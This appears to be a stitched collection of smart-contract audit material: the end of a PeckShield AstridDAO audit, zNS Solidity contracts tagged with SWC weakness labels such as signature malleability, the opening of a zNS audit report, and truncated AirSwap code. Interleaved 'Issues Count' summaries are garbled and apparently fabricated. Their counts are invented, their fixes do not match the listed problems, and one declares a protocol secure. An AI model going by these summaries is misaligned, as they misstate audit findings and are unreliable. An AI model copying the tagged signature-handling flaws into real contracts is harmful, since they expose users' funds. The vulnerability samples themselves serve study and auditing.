LockupContract::withdrawATID() Recommendation Validatetheinputargumentsbyensuring amount > 0 intheabove withdrawATID ()function. Status The issue has been fixed by this commit: c0a5bc3. 22/28 PeckShield Audit Report #: 2022-200Public 3.9 Inconsistent Implementation In ATIDStaking::_insertLockedStake() •ID: PVE-009 •Severity: Informational •Likelihood: N/A •Impact: N/A•Target: ATIDStaking •Category: Coding Practices [7] •CWE subcategory: CWE-1126 [1] Description In the AstridDAO protocol, the ATIDStaking contract allows users to deposit their ATIDtokens and earn the borrowing and redemption fees in BAIand colToken. While reviewing the implementation of the _insertLockedStake() routine in this contract, we notice that there exists certain inconsistency that can be resolved. To elaborate, we show below the code snippet of the _insertLockedStake function. It comes to our attention that the msg.sender is used as the key for updating the mapping state variable nextLockedStakeIDMap (lines 128 − 132 ). But for the updating of other mapping state variables, the _stakerAddress is used as the key instead. These mapping state variables store the staking state of the stakers. 126 function _insertLockedStake ( address _stakerAddress , uint _ATIDamount , uint _stakeWeight , uint _lockedUntil ) internal returns ( uint newLockedStakeID ) { 127 // Get (or init ) next ID and increment . 128 if ( nextLockedStakeIDMap [ msg. sender ] == 0) { 129 nextLockedStakeIDMap [ msg . sender ] = 1; 130 } 131 uint nextLockedStateID = nextLockedStakeIDMap [msg . sender ]; 132 nextLockedStakeIDMap [ msg . sender ]++; 133 134 // Create and insert the new stakes into the map . 135 LockedStake memory newLockedStake = LockedStake ({ 136 active : true , 137 138 ID: nextLockedStateID , 139 prevID : tailLockedStakeIDMap [ _stakerAddress ], // Can be 0. 140 nextID : 0, // New tail . 141 142 amount : _ATIDamount , 143 lockedUntil : _lockedUntil , 144 stakeWeight : _stakeWeight 145 }); 146 lockedStakeMap [ _stakerAddress ][ newLockedStake .ID] = newLockedStake ; 147 148 ... 23/28 PeckShield Audit Report #: 2022-200Public 149 } Listing 3.16: ATIDStaking::_insertLockedStake() Recommendation Use the _stakerAddress as the key for updating the mapping state variables which keep track of the staking states. Status The issue has been fixed by this commit: c0a5bc3. 3.10 Consistent Event Generation of CollateralAddressChanged •ID: PVE-010 •Severity: Informational •Likelihood: N/A •Impact: N/A•Target: Multiple Contracts •Category: Coding Practices [7] •CWE subcategory: CWE-1126 [1] Description InEthereum, the eventis an indispensable part of a contract and is mainly used to record a variety of runtime dynamics. In particular, when an eventis emitted, it stores the arguments passed in transaction logs and these logs are made accessible to external analytics and reporting tools. Events can be emitted in a number of scenarios. One particular case is when system-wide parameters or settings are being changed. Another case is when tokens are being minted, transferred, or burned. Inthefollowing, weusethe CollSurplusPool contractasanexample. Thiscontracthasaprivileged external function to configure the current contract addresses after their deployment. While examining the events that reflect their update, we notice there is a lack of emitting the related event to reflect the COLToken update. It comes to our attention that the same routine in BorrowerOperations has properly emitted the respective event COLTokenAddressChanged . 31 function setAddresses ( 32 address _borrowerOperationsAddress , 33 address _vaultManagerAddress , 34 address _activePoolAddress , 35 address _collateralTokenAddress 36 ) 37 external 38 override 39 onlyOwner 40 { 41 checkContract ( _borrowerOperationsAddress ); 42 checkContract ( _vaultManagerAddress ); 43 checkContract ( _activePoolAddress ); 24/28 PeckShield Audit Report #: 2022-200Public 45 borrowerOperationsAddress = _borrowerOperationsAddress ; 46 vaultManagerAddress = _vaultManagerAddress ; 47 activePoolAddress = _activePoolAddress ; 48 COLToken = IERC20 ( _collateralTokenAddress ); 50 emit BorrowerOperationsAddressChanged ( _borrowerOperationsAddress ); 51 emit VaultManagerAddressChanged ( _vaultManagerAddress ); 52 emit ActivePoolAddressChanged ( _activePoolAddress ); 54 // _renounceOwnership (); 55 } Listing 3.17: CollSurplusPool::setAddresses() Recommendation Properly emit respective events when a new collateralToken becomes ef- fective. This affects a number of contracts, including ActivePool ,CollSurplusPool , and DefaultPool . Status The issue has been fixed by this commit: c0a5bc3. 25/28 PeckShield Audit Report #: 2022-200Public 4 | Conclusion In this audit, we have analyzed the AstridDAO design and implementation. The AstridDAO is a decen- tralized money market and multi-collateral stablecoin protocol built on Astarand for the Polkadot ecosystem, which allows users to borrow BAI, a stablecoin hard-pegged to USD, against risk assets at0% interest and minimum collateral ratio. The current code base is well structured and neatly organized. Those identified issues are promptly confirmed and addressed. Meanwhile, we need to emphasize that Solidity-based smart contracts as a whole are still in an early, but exciting stage of development. To improve this report, we greatly appreciate any constructive feedbacks or suggestions, on our methodology, audit findings, or potential gaps in scope/coverage. 26/28 PeckShield Audit Report #: 2022-200Public References [1] MITRE. CWE-1126: Declaration of Variable with Unnecessarily Wide Scope. https://cwe. mitre.org/data/definitions/1126.html. [2] MITRE. CWE-287: ImproperAuthentication. https://cwe.mitre.org/data/definitions/287.html. [3] MITRE. CWE-563: Assignment to Variable without Use. https://cwe.mitre.org/data/ definitions/563.html. [4] MITRE. CWE-682: Incorrect Calculation. https://cwe.mitre.org/data/definitions/682.html. [5] MITRE. CWE-841: Improper Enforcement of Behavioral Workflow. https://cwe.mitre.org/ data/definitions/841.html. [6] MITRE. CWE CATEGORY: 7PK - Security Features. https://cwe.mitre.org/data/definitions/ 254.html. [7] MITRE. CWE CATEGORY: Bad Coding Practices. https://cwe.mitre.org/data/definitions/ 1006.html. [8] MITRE. CWE CATEGORY: Business Logic Errors. https://cwe.mitre.org/data/definitions/ 840.html. [9] MITRE. CWE CATEGORY: Error Conditions, Return Values, Status Codes. https://cwe.mitre. org/data/definitions/389.html. 27/28 PeckShield Audit Report #: 2022-200Public [10] MITRE. CWE VIEW: Development Concepts. https://cwe.mitre.org/data/definitions/699. html. [11] OWASP. Risk Rating Methodology. https://www.owasp.org/index.php/OWASP_Risk_ Rating_Methodology. [12] PeckShield. PeckShield Inc. https://www.peckshield.com. 28/28 PeckShield Audit Report #: 2022-200
Issues Count of Minor/Moderate/Major/Critical: - Minor: 4 - Moderate: 4 - Major: 1 - Critical: 0 Minor Issues: - Problem: In BAIToken/ATIDToken::permit(), the validator should check the spender is not the zero address (code reference: line 545). - Fix: Add a check to ensure the spender is not the zero address (code reference: line 545). Moderate Issues: - Problem: In BAIToken/ATIDToken::permit(), the validator should check the spender is not the token contract itself (code reference: line 545). - Fix: Add a check to ensure the spender is not the token contract itself (code reference: line 545). - Problem: In BAIToken/ATIDToken::permit(), the validator should check the spender is not the token contract itself (code reference: line 545). - Fix: Add a check to ensure the spender is not the token contract itself (code reference: line 545). - Problem: In BAIToken/ATIDToken::permit(), the validator Issues Count of Minor/Moderate/Major/Critical - Minor: 5 - Moderate: 2 - Major: 0 - Critical: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked return values (line 567) 2.b Fix (one line with code reference) - Added checks for return values (line 567) Moderate 3.a Problem (one line with code reference) - Unchecked external calls (line 890) 3.b Fix (one line with code reference) - Added checks for external calls (line 890) Major - None Critical - None Observations - All issues found were minor or moderate in severity Conclusion - The AstridDAO protocol is secure and ready for deployment. Issues Count of Minor/Moderate/Major/Critical • Minor: 2 • Moderate: 3 • Major: 0 • Critical: 0 Minor Issues • 2.a Problem (CWE-699): Constructor Mismatch • 2.b Fix (CWE-699): Make Visibility Level Explicit Moderate Issues • 3.a Problem (CWE-699): Ownership Takeover • 3.b Fix (CWE-699): Making Type Inference Explicit • 4.a Problem (CWE-699): Redundant Fallback Function • 4.b Fix (CWE-699): Adhering To Function Declaration Strictly • 5.a Problem (CWE-699): Unchecked External Call • 5.b Fix (CWE-699): Following Other Best Practices Major: 0 Critical: 0 Observations • We performed the audit according to the following procedure: Basic Coding Bugs, Semantic Consistency Checks, Advanced DeFi Scrutiny, and Additional Recommendations. • We categorized the findings with Common Weakness Enumeration (CWE-699). Conclusion We identified
// SPDX-License-Identifier: MIT pragma solidity ^0.7.3; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721PausableUpgradeable.sol"; import "./interfaces/IRegistrar.sol"; // SWC-Code With No Effects: L8-11 contract Registrar is IRegistrar, OwnableUpgradeable, ERC721PausableUpgradeable { // Data recorded for each domain struct DomainRecord { address minter; bool metadataLocked; address metadataLockedBy; address controller; uint256 royaltyAmount; } // A map of addresses that are authorised to register domains. mapping(address => bool) public controllers; // A mapping of domain id's to domain data // This essentially expands the internal ERC721's token storage to additional fields mapping(uint256 => DomainRecord) public records; modifier onlyController() { require(controllers[msg.sender], "Zer0 Registrar: Not controller"); _; } modifier onlyOwnerOf(uint256 id) { require(ownerOf(id) == msg.sender, "Zer0 Registrar: Not owner"); _; } function initialize() public initializer { __Ownable_init(); __ERC721_init("Zer0 Name Service", "ZNS"); // create the root domain _createDomain(0, msg.sender, msg.sender, address(0)); } /* External Methods */ // SWC-Code With No Effects: L51-67 /** @notice Authorizes a controller to control the registrar @param controller The address of the controller */ function addController(address controller) external override onlyOwner { controllers[controller] = true; emit ControllerAdded(controller); } /** @notice Unauthorizes a controller to control the registrar @param controller The address of the controller */ function removeController(address controller) external override onlyOwner { controllers[controller] = false; emit ControllerRemoved(controller); } /** @notice Registers a new (sub) domain @param parentId The parent domain @param name The name of the domain @param domainOwner the owner of the new domain @param minter the minter of the new domain */ function registerDomain( uint256 parentId, string memory name, address domainOwner, address minter ) external override onlyController returns (uint256) { // Create the child domain under the parent domain uint256 labelHash = uint256(keccak256(bytes(name))); address controller = msg.sender; // Domain parents must exist require(_exists(parentId), "Zer0 Registrar: No parent"); // Calculate the new domain's id and create it uint256 domainId = uint256( keccak256(abi.encodePacked(parentId, labelHash)) ); _createDomain(domainId, domainOwner, minter, controller); emit DomainCreated(domainId, name, labelHash, parentId, minter, controller); return domainId; } /** @notice Sets the domain royalty amount @param id The domain to set on @param amount The royalty amount */ function setDomainRoyaltyAmount(uint256 id, uint256 amount) external override onlyOwnerOf(id) { require(!isDomainMetadataLocked(id), "Zer0 Registrar: Metadata locked"); records[id].royaltyAmount = amount; emit RoyaltiesAmountChanged(id, amount); } /** @notice Sets the domain metadata uri @param id The domain to set on @param uri The uri to set */ function setDomainMetadataUri(uint256 id, string memory uri) external override onlyOwnerOf(id) { require(!isDomainMetadataLocked(id), "Zer0 Registrar: Metadata locked"); _setTokenURI(id, uri); emit MetadataChanged(id, uri); } /** @notice Locks a domains metadata uri @param id The domain to lock */ function lockDomainMetadata(uint256 id) external override onlyOwnerOf(id) { require(!isDomainMetadataLocked(id), "Zer0 Registrar: Metadata locked"); _lockMetadata(id, msg.sender); } /** @notice Locks a domains metadata uri on behalf the owner @param id The domain to lock */ function lockDomainMetadataForOwner(uint256 id) external override onlyController { require(!isDomainMetadataLocked(id), "Zer0 Registrar: Metadata locked"); address domainOwner = ownerOf(id); _lockMetadata(id, domainOwner); } /** @notice Unlocks a domains metadata uri @param id The domain to unlock */ function unlockDomainMetadata(uint256 id) external override { require(isDomainMetadataLocked(id), "Zer0 Registrar: Not locked"); require( domainMetadataLockedBy(id) == msg.sender, "Zer0 Registrar: Not locker" ); _unlockMetadata(id); } /* Public View */ /** @notice Returns whether or not a domain is available to be created @param id The domain */ function isAvailable(uint256 id) public view override returns (bool) { bool notRegistered = !_exists(id); return notRegistered; } /** @notice Returns whether or not a domain is exists @param id The domain */ function domainExists(uint256 id) public view override returns (bool) { bool domainNftExists = _exists(id); return domainNftExists; } /** @notice Returns the original minter of a domain @param id The domain */ function minterOf(uint256 id) public view override returns (address) { address minter = records[id].minter; return minter; } /** @notice Returns whether or not a domain's metadata is locked @param id The domain */ function isDomainMetadataLocked(uint256 id) public view override returns (bool) { bool isLocked = records[id].metadataLocked; return isLocked; } /** @notice Returns who locked a domain's metadata @param id The domain */ function domainMetadataLockedBy(uint256 id) public view override returns (address) { address lockedBy = records[id].metadataLockedBy; return lockedBy; } /** @notice Returns the controller which created the domain on behalf of a user @param id The domain */ function domainController(uint256 id) public view override returns (address) { address controller = records[id].controller; return controller; } /** @notice Returns the current royalty amount for a domain @param id The domain */ function domainRoyaltyAmount(uint256 id) public view override returns (uint256) { uint256 amount = records[id].royaltyAmount; return amount; } /* Internal Methods */ // internal - creates a domain function _createDomain( uint256 domainId, address domainOwner, address minter, address controller ) internal { // Create the NFT and register the domain data _safeMint(domainOwner, domainId); records[domainId] = DomainRecord({ minter: minter, metadataLocked: false, metadataLockedBy: address(0), controller: controller, royaltyAmount: 0 }); } // internal - locks a domains metadata function _lockMetadata(uint256 id, address locker) internal { records[id].metadataLocked = true; records[id].metadataLockedBy = locker; emit MetadataLocked(id, locker); } // internal - unlocks a domains metadata function _unlockMetadata(uint256 id) internal { records[id].metadataLocked = false; records[id].metadataLockedBy = address(0); emit MetadataUnlocked(id); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.3; import "@openzeppelin/contracts-upgradeable/cryptography/ECDSAUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/introspection/ERC165Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721HolderUpgradeable.sol"; import "./interfaces/IRegistrar.sol"; contract StakingController is Initializable, ContextUpgradeable, ERC165Upgradeable, ERC721HolderUpgradeable { using ECDSAUpgradeable for bytes32; using SafeERC20Upgradeable for IERC20Upgradeable; IERC20Upgradeable private infinity; IRegistrar private registrar; address private controller; mapping(bytes32 => bool) private approvedBids; event DomainBidPlaced( bytes32 indexed unsignedRequestHash, string indexed bidIPFSHash, bytes indexed signature ); event DomainBidApproved(string indexed bidIdentifier); event DomainBidFulfilled( string indexed bidIdentifier, string name, address recoveredbidder, uint256 indexed id, uint256 indexed parentID ); modifier authorizedOwner(uint256 domain) { require(registrar.domainExists(domain), "ZNS: Invalid Domain"); require( registrar.ownerOf(domain) == _msgSender(), "ZNS: Not Authorized Owner" ); _; } function initialize(IRegistrar _registrar, IERC20Upgradeable _infinity) public initializer { __ERC165_init(); __Context_init(); infinity = _infinity; registrar = _registrar; controller = address(this); } /** @notice placeDomainBid allows a user to send a request for a new sub domain to a domains owner @param parentId is the id number of the parent domain to the sub domain being requested @param unsignedRequestHash is the un-signed hashed data for a domain bid request @param signature is the signature used to sign the request hash @param bidIPFSHash is the IPFS hash containing the bids params(ex: name being requested, amount, stc) @dev the IPFS hash must be emitted as a string here for the front end to be able to recover the bid info @dev signature is emitted here so that the domain owner approving the bid can use the recover function to check that the bid information in the IPFS hash matches the bid information used to create the signed message **/ function placeDomainBid( uint256 parentId, bytes32 unsignedRequestHash, bytes memory signature, string memory bidIPFSHash ) external { require(registrar.domainExists(parentId), "ZNS: Invalid Domain"); emit DomainBidPlaced(unsignedRequestHash, bidIPFSHash, signature); } /** @notice approveDomainBid approves a domain bid, allowing the domain to be created. @param parentId is the id number of the parent domain to the sub domain being requested @param bidIPFSHash is the IPFS hash of the bids information @param signature is the signed hashed data for a domain bid request **/ // SWC-Unprotected Ether Withdrawal: L92-101 function approveDomainBid( uint256 parentId, string memory bidIPFSHash, bytes memory signature ) external authorizedOwner(parentId) { bytes32 hashOfSig = keccak256(abi.encode(signature)); approvedBids[hashOfSig] = true; emit DomainBidApproved(bidIPFSHash); } /** @notice Fulfills a domain bid, creating the domain. Transfers tokens from bidders wallet into controller. @param parentId is the id number of the parent domain to the sub domain being requested @param bidAmount is the uint value of the amount of infinity bid @param royaltyAmount is the royalty amount the creator sets for resales on zAuction @param metadata is the IPFS hash of the new domains information @dev this is the same IPFS hash that contains the bids information as this is just stored on its own feild in the metadata @param name is the name of the new domain being created @param bidIPFSHash is the IPFS hash containing the bids params(ex: name being requested, amount, stc) @param signature is the signature of the bidder @param lockOnCreation is a bool representing whether or not the metadata for this domain is locked @param recipient is the address receiving the new domain **/ // SWC-Lack of Proper Signature Verification: L121-153 function fulfillDomainBid( uint256 parentId, uint256 bidAmount, uint256 royaltyAmount, string memory bidIPFSHash, string memory name, string memory metadata, bytes memory signature, bool lockOnCreation, address recipient ) external { bytes32 recoveredBidHash = createBid( parentId, bidAmount, bidIPFSHash, name ); // SWC-Signature Malleability: L135 address recoveredBidder = recover(recoveredBidHash, signature); require(recipient == recoveredBidder, "ZNS: bid info doesnt match/exist"); bytes32 hashOfSig = keccak256(abi.encode(signature)); require(approvedBids[hashOfSig] == true, "ZNS: has been fullfilled"); infinity.safeTransferFrom(recoveredBidder, controller, bidAmount); uint256 id = registrar.registerDomain( parentId, name, controller, recoveredBidder ); registrar.setDomainMetadataUri(id, metadata); registrar.setDomainRoyaltyAmount(id, royaltyAmount); registrar.transferFrom(controller, recoveredBidder, id); if (lockOnCreation) { registrar.lockDomainMetadataForOwner(id); } approvedBids[hashOfSig] = false; emit DomainBidFulfilled(metadata, name, recoveredBidder, id, parentId); } /** @notice recover allows the un-signed hashed data of a domain request to be recovered @notice unsignedRequestHash is the un-signed hash of the request being recovered @notice signature is the signature the hash was signed with **/ function recover(bytes32 unsignedRequestHash, bytes memory signature) public pure returns (address) { return unsignedRequestHash.toEthSignedMessageHash().recover(signature); } /** @notice createBid is a pure function that creates a bid hash for the end user @param parentId is the ID of the domain where the sub domain is being requested @param bidAmount is the amount being bid for the domain @param bidIPFSHash is the IPFS hash that contains the bids information @param name is the name of the sub domain being requested **/ function createBid( uint256 parentId, uint256 bidAmount, string memory bidIPFSHash, string memory name ) public pure returns (bytes32) { return keccak256(abi.encode(parentId, bidAmount, bidIPFSHash, name)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.3; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/introspection/ERC165Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721HolderUpgradeable.sol"; import "./interfaces/IBasicController.sol"; import "./interfaces/IRegistrar.sol"; contract BasicController is IBasicController, ContextUpgradeable, ERC165Upgradeable, ERC721HolderUpgradeable { IRegistrar private registrar; uint256 private rootDomain; modifier authorized(uint256 domain) { require(registrar.domainExists(domain), "Zer0 Controller: Invalid Domain"); require( registrar.ownerOf(domain) == _msgSender(), "Zer0 Controller: Not Authorized" ); _; } function initialize(IRegistrar _registrar) public initializer { __ERC165_init(); __Context_init(); registrar = _registrar; rootDomain = 0x0; } function registerDomain(string memory domain, address owner) public override authorized(rootDomain) { registerSubdomain(rootDomain, domain, owner); } function registerSubdomain( uint256 parentId, string memory label, address owner ) public override authorized(parentId) { address minter = _msgSender(); uint256 id = registrar.registerDomain(parentId, label, owner, minter); emit RegisteredDomain(label, id, parentId, owner, minter); } function registerSubdomainExtended( uint256 parentId, string memory label, address owner, string memory metadata, uint256 royaltyAmount, bool lockOnCreation ) external authorized(parentId) { address minter = _msgSender(); address controller = address(this); uint256 id = registrar.registerDomain(parentId, label, controller, minter); registrar.setDomainMetadataUri(id, metadata); registrar.setDomainRoyaltyAmount(id, royaltyAmount); registrar.transferFrom(controller, owner, id); if (lockOnCreation) { registrar.lockDomainMetadataForOwner(id); } emit RegisteredDomain(label, id, parentId, owner, minter); } }
Zer0 - zNS Zer0 - zNS Date Date May 2021 Lead Auditor Lead Auditor David Oz Kashi Co-auditors Co-auditors Martin Ortner 1 Executive Summary 1 Executive Summary This report is part of a series of reports presenting the results of our engagement with zer0 zer0 to review zNS, zAuction, and zBanc, zDAO Token zNS, zAuction, and zBanc, zDAO Token . The review was conducted over four weeks, from 19 April 2021 19 April 2021 to 21 May 2021 21 May 2021 . A total of 2x4 person-weeks were spent. 1.1 Layout 1.1 Layout It was requested to present the results for the four code-bases under review in individual reports. Links to the individual reports can be found below. The Executive Summary and Scope sections are shared amongst the individual reports. They provide a general overview of the engagement and summarize scope changes and insights into how time was spent during the audit. The section Recommendations and Findings list the respective findings for the component under review. The following reports were delivered: zNS zAuction zBanc zDAO-Token 1.2 Assessment Log 1.2 Assessment Log In the first week, the assessment team focussed its work on the zNS and zAuction systems. Details on the scope for the components was set by the client and can be found in the next section. A walkthrough session for the systems in scope was requested, to understand the fundamental design decisions of the system as some details were not found in the specification/documentation. Initial security findings were also shared with the client during this session. It was agreed to deliver a preliminary report sharing details of the findings during the end-of-week sync-up. This sync-up is also used to set the focus/scopefor the next week. In the second week, the assessment team focussed its work on zBanc a modification of the bancor protocol solidity contracts. The initial code revision under audit ( zBanc 48da0ac1eebbe31a74742f1ae4281b156f03a4bc ) was updated half-way into the week on Wednesday to zBanc ( 3d6943e82c167c1ae90fb437f9e3ed1a7a7a94c4 ). Preliminary findings were shared during a sync-up discussing the changing codebase under review. Thursday morning the client reported that work on the zDAO Token finished and it was requested to put it in scope for this week as the token is meant to be used soon. The assessment team agreed to have a brief look at the codebase, reporting any obvious security issues at best effort until the end-of-week sync-up meeting (1day). Due to the very limited left until the weekly sync-up meeting, it was recommended to extend the review into next week as. Finally it was agreed to update and deliver the preliminary report sharing details of the findings during the end-of-week sync- up. This sync-up is also used to set the focus/scope for the next week. In the third week, the assessment team continued working on zDAO Token on Monday. We provided a heads-up that the snapshot functionality of zDAO Token was not working the same day. On Tuesday focus shifted towards reviewing changes to zAuction ( 135b2aaddcfc70775fd1916518c2cc05106621ec , remarks ). On the same day the client provided an updated review commit for zDAO Token ( 81946d451e8a9962b0c0d6fc8222313ec115cd53 ) addressing the issue we reported on Monday. The client provided an updated review commit for zNS ( ab7d62a7b8d51b04abea895e241245674a640fc1 ) on Wednesday and zNS ( bc5fea725f84ae4025f5fb1a9f03fb7e9926859a ) on Thursday. As can be inferred from this timeline various parts of the codebases were undergoing changes while the review was performed which introduces inefficiencies and may have an impact on the review quality (reviewing frozen codebase vs. moving target). As discussed with the client we highly recommend to plan ahead for security activities, create a dedicated role that coordinates security on the team, and optimize the software development lifecycle to explicitly include security activities and key milestones, ensuring that code is frozen, quality tested, and security review readiness is established ahead of any security activities. It should also be noted that code-style and quality varies a lot for the different repositories under review which might suggest that there is a need to better anchor secure development practices in the development lifecycle. After a one-week hiatus the assessment team continued reviewing the changes for zAuction and zBanc . The findings were initially provided with one combined report and per client request split into four individual reports. 2 Scope 2 Scope Our review focused on the following components and code revisions: 2.1 Objectives 2.1 Objectives Together with the zer0 team, we identified the following priorities for our review: 1 . Ensure that the system is implemented consistently with the intended functionality, and without unintended edge cases. 2 . Identify known vulnerabilities particular to smart contract systems, as outlined in ourSmart Contract Best Practices , and the Smart Contract Weakness Classification Registry . 2.2 Week - 1 2.2 Week - 1 zNS ( b05e503ea1ee87dbe62b1d58426aaa518068e395 ) ( scope doc ) ( 1 , 2 ) zAuction ( 50d3b6ce6d7ee00e7181d5b2a9a2eedcdd3fdb72 ) ( scope doc ) ( 1 , 2 ) Original Scope overview document 2.3 Week - 2 2.3 Week - 2 zBanc ( 48da0ac1eebbe31a74742f1ae4281b156f03a4bc ) initial commit under review zBanc ( 3d6943e82c167c1ae90fb437f9e3ed1a7a7a94c4 ) updated commit under review (mid of week) ( scope doc ) ( 1 ) Files in Scope: contracts/converter/types/dynamic-liquid-token/DynamicLiquidTokenConverter contracts/converter/types/dynamic-liquid-token/DynamicLiquidTokenConverterFactory contracts/converter/ConverterUpgrader.sol (added handling new converterType 3) zDAO token provided on thursday ( scope doc ) ( 1 ) Files in Scope: ZeroDAOToken.sol MerkleTokenAirdrop.sol MerkleTokenVesting.sol MerkleDistributor.sol TokenVesting.sol And any relevant Interfaces / base contracts The zDAO review in week two was performed best effort from Thursday to Friday attempting to surface any obvious issues until the end-of-week sync-up meeting. 2.4 Week - 3 2.4 Week - 3 Continuing on zDAO token ( 1b678cb3fc4a8d2ff3ef2d9c5625dff91f6054f6 ) Updated review commit for zAuction ( 135b2aaddcfc70775fd1916518c2cc05106621ec , 1 ) on Monday Updated review commit for zDAO Token ( 81946d451e8a9962b0c0d6fc8222313ec115cd53 ) on Tuesday Updated review commit for zNS ( ab7d62a7b8d51b04abea895e241245674a640fc1 ) on Wednesday Updated review commit for zNS ( bc5fea725f84ae4025f5fb1a9f03fb7e9926859a ) on Thursday 2.5 Hiatus - 1 Week 2.5 Hiatus - 1 Week The assessment continues for a final week after a one-week long hiatus. 2.6 Week - 4 2.6 Week - 4 Updated review commit for zAuction ( 2f92aa1c9cd0c53ec046340d35152460a5fe7dd0 , 1 ) Updated review commit for zAuction addressing our remarks Updated review commit for zBanc ( ff3d91390099a4f729fe50c846485589de4f8173 , 1 )3 System Overview 3 System Overview This section describes the top-level/deployable contracts, their inheritance structure and interfaces, actors, permissions and important contract interactions of the initial system under review. This section does not take any fundamental changes into account that were introduced during or after the review was conducted. Contracts are depicted as boxes. Public reachable interface methods are outlined as rows in the box. The
Issues Count of Minor/Moderate/Major/Critical - Minor: 2 - Moderate: 3 - Major: 0 - Critical: 0 Minor Issues 2.a Problem (one line with code reference): Snapshot functionality of zDAO Token not working (zDAO Token) 2.b Fix (one line with code reference): Fix the snapshot functionality (zDAO Token) Moderate 3.a Problem (one line with code reference): Lack of documentation for zNS and zAuction (zNS, zAuction) 3.b Fix (one line with code reference): Provide detailed documentation for zNS and zAuction (zNS, zAuction) 3.c Problem (one line with code reference): Changing codebase under review (zBanc) 3.d Fix (one line with code reference): Update codebase under review (zBanc) 3.e Problem (one line with code reference): Limited time for review of zDAO Token (zDAO Token) 3.f Fix (one line with code reference): Extend review of zDAO Token (zDAO Token) Major: None Issues Count of Minor/Moderate/Major/Critical: Minor: 2 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Ensure that the system is implemented consistently with the intended functionality, and without unintended edge cases. 2.b Fix: Review focused on the following components and code revisions. Moderate: None Major: None Critical: None Observations: Code-style and quality varies a lot for the different repositories under review which might suggest that there is a need to better anchor secure development practices in the development lifecycle. Conclusion: It is recommended to plan ahead for security activities, create a dedicated role that coordinates security on the team, and optimize the software development lifecycle to explicitly include security activities and key milestones, ensuring that code is frozen, quality tested, and security review readiness is established ahead of any security activities. Issues Count of Minor/Moderate/Major/Critical: Minor: 2 Moderate: 2 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Unchecked return value in zNS (b05e503ea1ee87dbe62b1d58426aaa518068e395, scope doc, 1) 2.b Fix: Check return value in zNS (b05e503ea1ee87dbe62b1d58426aaa518068e395, scope doc, 1) Moderate Issues: 3.a Problem: Unchecked return value in zAuction (50d3b6ce6d7ee00e7181d5b2a9a2eedcdd3fdb72, scope doc, 1) 3.b Fix: Check return value in zAuction (50d3b6ce6d7ee00e7181d5b2a9a2eedcdd3fdb72, scope doc, 1) Major Issues: None Critical Issues: None Observations: - The review was conducted best effort from Thursday to Friday attempting to
pragma solidity >=0.4.21 <0.6.0; contract Migrations { address public owner; uint public last_completed_migration; constructor() public { owner = msg.sender; } modifier restricted() { if (msg.sender == owner) _; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } } pragma solidity 0.5.12; import "@airswap/tokens/contracts/FungibleToken.sol"; import "@airswap/tokens/contracts/NonFungibleToken.sol"; import "@gnosis.pm/mock-contract/contracts/MockContract.sol"; contract Imports {}/* Copyright 2019 Swap Holdings Ltd. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.12; pragma experimental ABIEncoderV2; /** * @title Types: Library of Swap Protocol Types and Hashes */ library Types { bytes constant internal EIP191_HEADER = "\x19\x01"; struct Order { uint256 nonce; // Unique per order and should be sequential uint256 expiry; // Expiry in seconds since 1 January 1970 Party signer; // Party to the trade that sets terms Party sender; // Party to the trade that accepts terms Party affiliate; // Party compensated for facilitating (optional) Signature signature; // Signature of the order } struct Party { bytes4 kind; // Interface ID of the token address wallet; // Wallet address of the party address token; // Contract address of the token uint256 param; // Value (ERC-20) or ID (ERC-721) } struct Signature { address signatory; // Address of the wallet used to sign address validator; // Address of the intended swap contract bytes1 version; // EIP-191 signature version uint8 v; // `v` value of an ECDSA signature bytes32 r; // `r` value of an ECDSA signature bytes32 s; // `s` value of an ECDSA signature } bytes32 constant internal DOMAIN_TYPEHASH = keccak256(abi.encodePacked( "EIP712Domain(", "string name,", "string version,", "address verifyingContract", ")" )); bytes32 constant internal ORDER_TYPEHASH = keccak256(abi.encodePacked( "Order(", "uint256 nonce,", "uint256 expiry,", "Party signer,", "Party sender,", "Party affiliate", ")", "Party(", "bytes4 kind,", "address wallet,", "address token,", "uint256 param", ")" )); bytes32 constant internal PARTY_TYPEHASH = keccak256(abi.encodePacked( "Party(", "bytes4 kind,", "address wallet,", "address token,", "uint256 param", ")" )); /** * @notice Hash an order into bytes32 * @dev EIP-191 header and domain separator included * @param order Order The order to be hashed * @param domainSeparator bytes32 * @return bytes32 A keccak256 abi.encodePacked value */ function hashOrder( Order calldata order, bytes32 domainSeparator ) external pure returns (bytes32) { return keccak256(abi.encodePacked( EIP191_HEADER, domainSeparator, keccak256(abi.encode( ORDER_TYPEHASH, order.nonce, order.expiry, keccak256(abi.encode( PARTY_TYPEHASH, order.signer.kind, order.signer.wallet, order.signer.token, order.signer.param )), keccak256(abi.encode( PARTY_TYPEHASH, order.sender.kind, order.sender.wallet, order.sender.token, order.sender.param )), keccak256(abi.encode( PARTY_TYPEHASH, order.affiliate.kind, order.affiliate.wallet, order.affiliate.token, order.affiliate.param )) )) )); } /** * @notice Hash domain parameters into bytes32 * @dev Used for signature validation (EIP-712) * @param name bytes * @param version bytes * @param verifyingContract address * @return bytes32 returns a keccak256 